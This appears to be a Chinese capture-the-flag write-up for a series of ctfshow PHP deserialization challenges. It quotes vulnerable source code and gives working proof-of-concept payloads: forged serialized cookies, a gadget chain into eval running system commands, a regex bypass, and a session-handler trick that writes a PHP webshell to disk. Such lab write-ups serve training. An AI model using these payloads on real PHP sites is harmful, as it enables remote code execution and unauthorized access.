WEB254
class ctfShowUser{ public $username='xxxxxx'; public $password='xxxxxx'; public $isVip=false; public function checkVip(){ return $this->isVip; } public function login($u,$p){ if($this->username===$u&&$this->password===$p){ $this->isVip=true; } return $this->isVip; } public function vipOneKeyGetFlag(){ if($this->isVip){ global $flag; echo "your flag is ".$flag; }else{ echo "no vip, no flag"; } } } $username=$_GET['username']; $password=$_GET['password']; if(isset($username) && isset($password)){ $user = new ctfShowUser(); if($user->login($username,$password)){ if($user->checkVip()){ $user->vipOneKeyGetFlag(); } }else{ echo "no vip,no flag"; } }
传入username=xxxxxx&password=xxxxxx得到flag
WEB255
if(isset($username) && isset($password)){
$user = unserialize($_COOKIE['user']);
if($user->login($username,$password)){
if($user->checkVip()){
$user->vipOneKeyGetFlag();
}
}else{
echo "no vip,no flag";
}
}
关键代码与上题区别在存在cookie处反序列化,要让cookie处的user值传入序列化字符串,同时下面的第二个if判断需要为1,所以本地构造POC代码如下:
<?php error_reporting(0); highlight_file(__FILE__); class ctfShowUser{ public $username='admin'; public $password='admin'; public $isVip=true; public function checkVip(){ return $this->isVip; } public function login($u,$p){ if($this->username===$u&&$this->password===$p){ $this->isVip=true; } return $this->isVip; } public function vipOneKeyGetFlag(){ if($this->isVip){ global $flag; echo "your flag is ".$flag; }else{ echo "no vip, no flag"; } } } $a = new ctfShowUser(); echo urlencode(serialize($a));
得到结果:O%3A11%3A%22ctfShowUser%22%3A3%3A%7Bs%3A8%3A%22username%22%3Bs%3A5%3A%22admin%22%3Bs%3A8%3A%22password%22%3Bs%3A5%3A%22admin%22%3Bs%3A5%3A%22isVip%22%3Bb%3A1%3B%7D
利用EditThisCookie添加user值为上面的结果,传入username=admin&password=admin刷新页面得到flag
WEB256
同上一题构造没啥区别,构造的POC将password改为admin123,将得到的结果用EditThisCookie传入,同时传入username=admin&password=admin123得到flag
WEB257
class ctfShowUser{ private $username='xxxxxx'; private $password='xxxxxx'; private $isVip=false; private $class = 'info'; public function __construct(){ $this->class=new info(); } public function login($u,$p){ return $this->username===$u&&$this->password===$p; } public function __destruct(){ $this->class->getInfo(); } } class info{ private $user='xxxxxx'; public function getInfo(){ return $this->user; } } class backDoor{ private $code; public function getInfo(){ eval($this->code); } } $username=$_GET['username']; $password=$_GET['password']; if(isset($username) && isset($password)){ $user = unserialize($_COOKIE['user']); $user->login($username,$password); }
很明显需要ctfShowUser这个类去触发backDoor这个类,因为这个类存在eval函数,可以任意代码执行,构造POC如下首先列当前目录
<?php class ctfShowUser{ private $username='xxxxxx'; private $password='xxxxxx'; private $class; public function __construct(){ $this->class=new backDoor(); } } class backDoor{ private $code='system("ls");'; } $b=new ctfShowUser(); echo urlencode(serialize($b));
然后cat flag.php即可,注意构造system(“ls”)后要有分号,其余操作与前几题类似
WEB258
与上一题变化的是类的属性变为了public,关键代码如下,绕过正则的方法:将序列化后O后的数字前加一个+,例:“O:11”改为“O:+11”
if(isset($username) && isset($password)){
if(!preg_match('/[oc]:\d+:/i', $_COOKIE['user'])){
$user = unserialize($_COOKIE['user']);
}
$user->login($username,$password);
}
构造POC代码如下:
<?php class ctfShowUser{ public $username='xxxxxx'; public $password='xxxxxx'; public $class; public function __construct(){ $this->class=new backDoor(); } } class backDoor{ public $code='system("cat flag.php");'; } $b=new ctfShowUser(); echo urlencode(serialize($b));
WEB259
WEB260
<?php error_reporting(0); highlight_file(__FILE__); include('flag.php'); if(preg_match('/ctfshow_i_love_36D/',serialize($_GET['ctfshow']))){ echo $flag; }
要求传入的值序列化后内容包含ctfshow_i_love_36D,所以在已经了解反序列化的原理后,直接传ctfshow_i_love_36D就可以了
WEB263
考点:php-session反序列化
利用点是session.serialize_handler与php.ini的配置不同引起的反序列化,至于为什么不同,如果相同的也就没必要加上这句设置了
看题之前,先看一下这篇文章(非常详细)
https://www.cnblogs.com/vege/p/12575371.html
题目存在源码泄露,访问www.zip下载得到源码
index.php
<?php error_reporting(0); session_start(); //超过5次禁止登陆 if(isset($_SESSION['limit'])){ $_SESSION['limti']>5?die("登陆失败次数超过限制"):$_SESSION['limit']=base64_decode($_COOKIE['limit']); $_COOKIE['limit'] = base64_encode(base64_decode($_COOKIE['limit']) +1); }else{ setcookie("limit",base64_encode('1')); $_SESSION['limit']= 1; } ?>
check.php
<?php error_reporting(0); require_once 'inc/inc.php'; $GET = array("u"=>$_GET['u'],"pass"=>$_GET['pass']); if($GET){ $data= $db->get('admin', [ 'id', 'UserName0' ],[ "AND"=>[ "UserName0[=]"=>$GET['u'], "PassWord1[=]"=>$GET['pass'] //密码必须为128位大小写字母+数字+特殊符号,防止爆破 ] ]); if($data['id']){ //登陆成功取消次数累计 $_SESSION['limit']= 0; echo json_encode(array("success","msg"=>"欢迎您".$data['UserName0'])); }else{ //登陆失败累计次数加1 $_COOKIE['limit'] = base64_encode(base64_decode($_COOKIE['limit'])+1); echo json_encode(array("error","msg"=>"登陆失败")); } }
inc.php
<?php error_reporting(0); ini_set('display_errors', 0); ini_set('session.serialize_handler', 'php'); date_default_timezone_set("Asia/Shanghai"); session_start(); use \CTFSHOW\CTFSHOW; require_once 'CTFSHOW.php'; class User{ public $username; public $password; public $status; function __construct($username,$password){ $this->username = $username; $this->password = $password; } function setStatus($s){ $this->status=$s; } function __destruct(){ file_put_contents("log-".$this->username, "使用".$this->password."登陆".($this->status?"成功":"失败")."----".date_create()->format('Y-m-d H:i:s')); } }
看完上述文章后就能了解到PHP的Session处理器不同会造成漏洞的产生,而inc.php又强调设置了session.serialize_handler为PHP,猜测原本的session.serialize_handler为php_serialize因为这两种处理的时候会有问题存在。同时看到check.php包含了inc.php,而inc.php里又存在一个任意文件写入漏洞
class User{ public $username; public $password; public $status; function __construct($username,$password){ $this->username = $username; $this->password = $password; } function setStatus($s){ $this->status=$s; } function __destruct(){ file_put_contents("log-".$this->username, "使用".$this->password."登陆".($this->status?"成功":"失败")."----".date_create()->format('Y-m-d H:i:s')); } }
同时username和password的值也是我们可控的,那么构造poc即可,注意使用的是php引擎,所以需要前面加个|,同时根据index.php中要求还要进行一次Base64加密
<?php class User{ public $username; public $password; public $status='a'; } $a=new User(); $a->username='b.php'; $a->password='<?php system("cat f*");?>'; echo base64_encode('|'.serialize($a));
接着先访问index.php,不用输入用户名和密码,然后修改cookie中的limit为生成的Payload,刷新一下,再访问check.php是为了将修改好的内容触发修改客户端的cookie,从而使session的值也改变,这样在利用php引擎进行反序列化后就会成功触发User类中的file_put_contents函数,写入log-b.php文件
最后访问log-b.php在源代码获得flag
WEB264
index.php
<?php /* # -*- coding: utf-8 -*- # @Author: h1xa # @Date: 2020-12-03 02:37:19 # @Last Modified by: h1xa # @Last Modified time: 2020-12-03 16:05:38 # @message.php # @email: h1xa@ctfer.com # @link: https://ctfer.com */ error_reporting(0); session_start(); class message{ public $from; public $msg; public $to; public $token='user'; public function __construct($f,$m,$t){ $this->from = $f; $this->msg = $m; $this->to = $t; } } $f = $_GET['f']; $m = $_GET['m']; $t = $_GET['t']; if(isset($f) && isset($m) && isset($t)){ $msg = new message($f,$m,$t); $umsg = str_replace('fuck', 'loveU', serialize($msg)); $_SESSION['msg']=base64_encode($umsg); echo 'Your message has been sent'; } highlight_file(__FILE__);
message.php
<?php /* # -*- coding: utf-8 -*- # @Author: h1xa # @Date: 2020-12-03 15:13:03 # @Last Modified by: h1xa # @Last Modified time: 2020-12-03 15:17:17 # @email: h1xa@ctfer.com # @link: https://ctfer.com */ session_start(); highlight_file(__FILE__); include('flag.php'); class message{ public $from; public $msg; public $to; public $token='user'; public function __construct($f,$m,$t){ $this->from = $f; $this->msg = $m; $this->to = $t; } } if(isset($_COOKIE['msg'])){ $msg = unserialize(base64_decode($_SESSION['msg'])); if($msg->token=='admin'){ echo $flag; } }
具体的可以参考下web262,但这个题略微恶心一些,用的是$_SESSION,原来是$_COOKIE,所以我们不能直接修改cookie了。
直接把原来262的值传过去就可以了
f=1&m=1&t=1fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck";s:5:"token";s:5:"admin";}
同时还需要传一个Cookie的值:msg=1 满足message.php最后一个if判断。最后访问message.php得到flag
WEB265
<?php error_reporting(0); include('flag.php'); highlight_file(__FILE__); class ctfshowAdmin{ public $token; public $password; public function __construct($t,$p){ $this->token=$t; $this->password = $p; } public function login(){ return $this->token===$this->password; } } $ctfshow = unserialize($_GET['ctfshow']); $ctfshow->token=md5(mt_rand()); if($ctfshow->login()){ echo $flag; }
通读代码,要求GET请求传递的ctfshow参数经过反序列化后,指向的token属性值为一个md5随机数。而获得flag的要求时token和password的值相等,return才会返回1输出flag
构造POC
<?php error_reporting(0); highlight_file(__FILE__); class ctfshowAdmin{ public $token=1; public $password=1; } $a = new ctfshowAdmin(); $a -> token=&$a -> password; echo serialize($a); ?>
考察php按地址传参,就像这样a的值会跟着b的值而变
将生成结果传过去得到flag。
WEB266
index.php
<?php highlight_file(__FILE__); include('flag.php'); $cs = file_get_contents('php://input'); class ctfshow{ public $username='xxxxxx'; public $password='xxxxxx'; public function __construct($u,$p){ $this->username=$u; $this->password=$p; } public function login(){ return $this->username===$this->password; } public function __toString(){ return $this->username; } public function __destruct(){ global $flag; echo $flag; } } $ctfshowo=@unserialize($cs); if(preg_match('/ctfshow/', $cs)){ throw new Exception("Error $ctfshowo",1); }
很明显要想flag的方法只要生成一个ctfshow的对象即可,但是传递的参数中却不允许出现ctfshow,这进行了一个正则匹配。但是这个正则匹配没有加/i所以可以通过大小写绕过,而同时PHP还有一些特点:PHP大小写:函数名和类名不区分,变量名区分,测试代码如下
<?php class ctfshow{ public $username='xxxxxx'; public $password='xxxxxx'; } class Ctfshow{ public $username='xxxxxx'; public $password='xxxxxx'; } //Fatal error: Cannot declare class Ctfshow, because the name is already in use in D:\phpstudy\PHPTutorial\WWW\ctfshow\xuliehua\266\index.php on line 8 //该类名已经使用
注:因为传递的方式需要通过POST请求,但是却没有参数名,所以HackBar没法使用,利用BP传递O:7:”ctfShow”:0:{}得到flag